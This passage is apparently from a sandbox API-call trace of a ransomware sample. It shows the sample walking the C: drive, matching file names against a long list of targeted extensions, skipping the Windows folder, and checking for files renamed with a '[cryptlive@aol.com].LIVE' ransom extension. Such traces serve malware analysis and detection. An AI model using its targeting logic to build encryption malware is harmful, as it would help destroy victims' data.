dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.299] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4096) returned 1 [0063.299] CloseHandle (hObject=0x200) returned 1 [0063.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0063.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.300] lstrlenW (lpString=".doc") returned 4 [0063.300] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.300] lstrlenW (lpString=".docx") returned 5 [0063.300] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0063.300] lstrlenW (lpString=".pdf") returned 4 [0063.300] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.300] lstrlenW (lpString=".xls") returned 4 [0063.300] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.300] lstrlenW (lpString=".xlsx") returned 5 [0063.300] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0063.300] lstrlenW (lpString=".ppt") returned 4 [0063.300] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.300] lstrlenW (lpString=".zip") returned 4 [0063.300] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.300] lstrlenW (lpString=".rar") returned 4 [0063.300] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.300] lstrlenW (lpString=".bz2") returned 4 [0063.300] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.300] lstrlenW (lpString=".7z") returned 3 [0063.300] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.300] lstrlenW (lpString=".dbf") returned 4 [0063.300] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.300] lstrlenW (lpString=".1cd") returned 4 [0063.300] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0063.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.300] lstrlenW (lpString=".jpg") returned 4 [0063.300] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0063.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.300] lstrlenW (lpString=".doc") returned 4 [0063.300] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.301] lstrlenW (lpString=".docx") returned 5 [0063.301] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0063.301] lstrlenW (lpString=".pdf") returned 4 [0063.301] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.301] lstrlenW (lpString=".xls") returned 4 [0063.301] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.301] lstrlenW (lpString=".xlsx") returned 5 [0063.301] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0063.301] lstrlenW (lpString=".ppt") returned 4 [0063.301] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.301] lstrlenW (lpString=".zip") returned 4 [0063.301] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.301] lstrlenW (lpString=".rar") returned 4 [0063.301] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.301] lstrlenW (lpString=".bz2") returned 4 [0063.301] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.301] lstrlenW (lpString=".7z") returned 3 [0063.301] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.301] lstrlenW (lpString=".dbf") returned 4 [0063.301] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.301] lstrlenW (lpString=".1cd") returned 4 [0063.301] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0063.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0063.301] lstrlenW (lpString=".jpg") returned 4 [0063.301] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0063.301] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0063.301] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0063.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.302] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4096) returned 1 [0063.302] CloseHandle (hObject=0x200) returned 1 [0063.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0063.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0063.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0063.305] lstrlenW (lpString=".doc") returned 4 [0063.305] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.305] lstrlenW (lpString=".docx") returned 5 [0063.305] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0063.306] lstrlenW (lpString=".pdf") returned 4 [0063.306] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.306] lstrlenW (lpString=".xls") returned 4 [0063.306] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.306] lstrlenW (lpString=".xlsx") returned 5 [0063.306] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0063.306] lstrlenW (lpString=".ppt") returned 4 [0063.306] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0063.306] lstrlenW (lpString=".zip") returned 4 [0063.306] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.306] lstrlenW (lpString=".rar") returned 4 [0063.306] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.306] lstrlenW (lpString=".bz2") returned 4 [0063.306] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.306] lstrlenW (lpString=".7z") returned 3 [0063.306] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0063.306] lstrlenW (lpString=".dbf") returned 4 [0063.306] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 Thread: id = 17 os_tid = 0x750 [0036.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37906c0 [0036.827] lstrlenW (lpString="C:") returned 2 [0036.827] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33cfd00 | out: lpFindFileData=0x33cfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x610e70 [0036.828] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0036.828] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0036.828] lstrlenW (lpString="$Recycle.Bin") returned 12 [0036.828] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0036.828] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37a06c8 [0036.829] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0036.829] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x610eb0 [0036.829] FindNextFileW (in: hFindFile=0x610eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.829] FindNextFileW (in: hFindFile=0x610eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0036.829] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0036.829] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0036.829] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0036.829] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0036.829] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.830] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0036.830] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x611ef8 [0036.830] FindNextFileW (in: hFindFile=0x611ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.830] FindNextFileW (in: hFindFile=0x611ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0036.830] lstrlenW (lpString="desktop.ini") returned 11 [0036.830] lstrlenW (lpString=".1cd") returned 4 [0036.830] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0036.830] lstrlenW (lpString=".3ds") returned 4 [0036.830] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0036.830] lstrlenW (lpString=".3fr") returned 4 [0036.830] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0036.830] lstrlenW (lpString=".3g2") returned 4 [0036.830] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0036.830] lstrlenW (lpString=".3gp") returned 4 [0036.830] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0036.830] lstrlenW (lpString=".7z") returned 3 [0036.830] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0036.830] lstrlenW (lpString=".accda") returned 6 [0036.830] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0036.830] lstrlenW (lpString=".accdb") returned 6 [0036.830] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0036.830] lstrlenW (lpString=".accdc") returned 6 [0036.830] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0036.830] lstrlenW (lpString=".accde") returned 6 [0036.831] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0036.831] lstrlenW (lpString=".accdt") returned 6 [0036.831] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0036.831] lstrlenW (lpString=".accdw") returned 6 [0036.831] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0036.831] lstrlenW (lpString=".adb") returned 4 [0036.831] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".adp") returned 4 [0036.831] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".ai") returned 3 [0036.831] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0036.831] lstrlenW (lpString=".ai3") returned 4 [0036.831] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".ai4") returned 4 [0036.831] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".ai5") returned 4 [0036.831] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".ai6") returned 4 [0036.831] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".ai7") returned 4 [0036.831] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".ai8") returned 4 [0036.831] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".anim") returned 5 [0036.831] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0036.831] lstrlenW (lpString=".arw") returned 4 [0036.831] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".as") returned 3 [0036.831] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0036.831] lstrlenW (lpString=".asa") returned 4 [0036.831] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".asc") returned 4 [0036.831] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".ascx") returned 5 [0036.831] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0036.831] lstrlenW (lpString=".asm") returned 4 [0036.831] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0036.831] lstrlenW (lpString=".asmx") returned 5 [0036.832] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0036.832] lstrlenW (lpString=".asp") returned 4 [0036.832] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".aspx") returned 5 [0036.832] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0036.832] lstrlenW (lpString=".asr") returned 4 [0036.832] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".asx") returned 4 [0036.832] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".avi") returned 4 [0036.832] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".avs") returned 4 [0036.832] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".backup") returned 7 [0036.832] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0036.832] lstrlenW (lpString=".bak") returned 4 [0036.832] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".bay") returned 4 [0036.832] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".bd") returned 3 [0036.832] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0036.832] lstrlenW (lpString=".bin") returned 4 [0036.832] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".bmp") returned 4 [0036.832] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".bz2") returned 4 [0036.832] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".c") returned 2 [0036.832] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0036.832] lstrlenW (lpString=".cdr") returned 4 [0036.832] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".cer") returned 4 [0036.832] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0036.832] lstrlenW (lpString=".cf") returned 3 [0036.832] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0036.832] lstrlenW (lpString=".cfc") returned 4 [0036.833] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".cfm") returned 4 [0036.833] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".cfml") returned 5 [0036.833] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0036.833] lstrlenW (lpString=".cfu") returned 4 [0036.833] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".chm") returned 4 [0036.833] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".cin") returned 4 [0036.833] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".class") returned 6 [0036.833] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0036.833] lstrlenW (lpString=".clx") returned 4 [0036.833] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".config") returned 7 [0036.833] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0036.833] lstrlenW (lpString=".cpp") returned 4 [0036.833] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".cr2") returned 4 [0036.833] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".crt") returned 4 [0036.833] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".crw") returned 4 [0036.833] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".cs") returned 3 [0036.833] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0036.833] lstrlenW (lpString=".css") returned 4 [0036.833] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".csv") returned 4 [0036.833] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".cub") returned 4 [0036.833] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".dae") returned 4 [0036.833] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".dat") returned 4 [0036.833] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0036.833] lstrlenW (lpString=".db") returned 3 [0036.834] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0036.834] lstrlenW (lpString=".dbf") returned 4 [0036.834] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".dbx") returned 4 [0036.834] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".dc3") returned 4 [0036.834] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".dcm") returned 4 [0036.834] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".dcr") returned 4 [0036.834] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".der") returned 4 [0036.834] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".dib") returned 4 [0036.834] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".dic") returned 4 [0036.834] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".dif") returned 4 [0036.834] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".divx") returned 5 [0036.834] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0036.834] lstrlenW (lpString=".djvu") returned 5 [0036.834] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0036.834] lstrlenW (lpString=".dng") returned 4 [0036.834] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".doc") returned 4 [0036.834] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0036.834] lstrlenW (lpString=".docm") returned 5 [0036.834] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0036.834] lstrlenW (lpString=".docx") returned 5 [0036.835] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0036.835] lstrlenW (lpString=".dot") returned 4 [0036.835] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".dotm") returned 5 [0036.835] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0036.835] lstrlenW (lpString=".dotx") returned 5 [0036.835] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0036.835] lstrlenW (lpString=".dpx") returned 4 [0036.835] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".dqy") returned 4 [0036.835] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".dsn") returned 4 [0036.835] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".dt") returned 3 [0036.835] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0036.835] lstrlenW (lpString=".dtd") returned 4 [0036.835] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".dwg") returned 4 [0036.835] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".dwt") returned 4 [0036.835] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".dx") returned 3 [0036.835] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0036.835] lstrlenW (lpString=".dxf") returned 4 [0036.835] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".edml") returned 5 [0036.835] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0036.835] lstrlenW (lpString=".efd") returned 4 [0036.835] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".elf") returned 4 [0036.835] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".emf") returned 4 [0036.835] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".emz") returned 4 [0036.835] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".epf") returned 4 [0036.835] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0036.835] lstrlenW (lpString=".eps") returned 4 [0036.836] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".epsf") returned 5 [0036.836] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0036.836] lstrlenW (lpString=".epsp") returned 5 [0036.836] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0036.836] lstrlenW (lpString=".erf") returned 4 [0036.836] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".exr") returned 4 [0036.836] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".f4v") returned 4 [0036.836] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".fido") returned 5 [0036.836] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0036.836] lstrlenW 